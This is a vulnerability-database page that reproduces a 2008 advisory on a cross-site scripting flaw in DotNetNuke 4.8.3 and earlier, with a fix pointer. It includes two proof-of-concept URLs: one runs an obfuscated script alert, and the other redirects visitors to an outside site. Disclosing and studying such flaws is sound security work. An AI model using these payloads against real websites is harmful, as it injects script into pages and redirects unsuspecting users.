Dot Net Nuke (DNN) < 4.8.3 XSS Vulnerability

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1052738 漏洞类型
发布时间 2008-05-31 更新时间 2008-05-31
CVE编号 N/A CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2008050032
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
 ########################## www.BugReport.ir #######################################
#
#		AmnPardaz Security Research Team
#
# Title: Dot Net Nuke (DNN) XSS Vulnerability.
# Vendor: www.dotnetnuke.com
# Vulnerable Version: 4.8.3 and prior versions
# Exploit: N/A
# Impact: Low
# Fix: N/A
# Original Advisory: http://bugreport.ir/index.php?/38
###################################################################################

####################
1. Description:
####################
        DotNetNuke is an open source web application framework ideal for creating, deploying and managing interactive web, intranet and extranet sites.

####################
2. Vulnerability:
####################
        XSS in "Default.aspx", by using "/" after the ".aspx" file. We must use another ".aspx" string, before "?" or at end of the URL.
        In fact, "PATH_INFO" in ServerVariables can manipulate by an attacker by entering "/" after the ".aspx" files. So, using "URL" is better than "PATH_INFO".
        
####################
3. PoC:
####################
        - Alert by XSS
                http://[DNN URL]/Default.aspx/"onmouseover="x='al';x=x+'ert(/Soroush Dalili From WWW.BugReport.IR/)';eval(x);alert().aspx
        
        - Redirect by XSS (We must use a "?" because of using ":" in "http://")
                http://[DNN URL]/Default.aspx/bugreport/"onmouseover="var a='.aspx?';document.location='http://www.bugreport.ir/?archive';

####################
4. Solution:
####################
        Check the vendor hotfix and use URLScan (http://www.microsoft.com/technet/security/tools/urlscan.mspx).
        
####################
5. Credit :
####################
AmnPardaz Security Research & Penetration Testing Group
Contact: admin[4t}bugreport{d0t]ir
WwW.BugReport.ir
WwW.AmnPardaz.com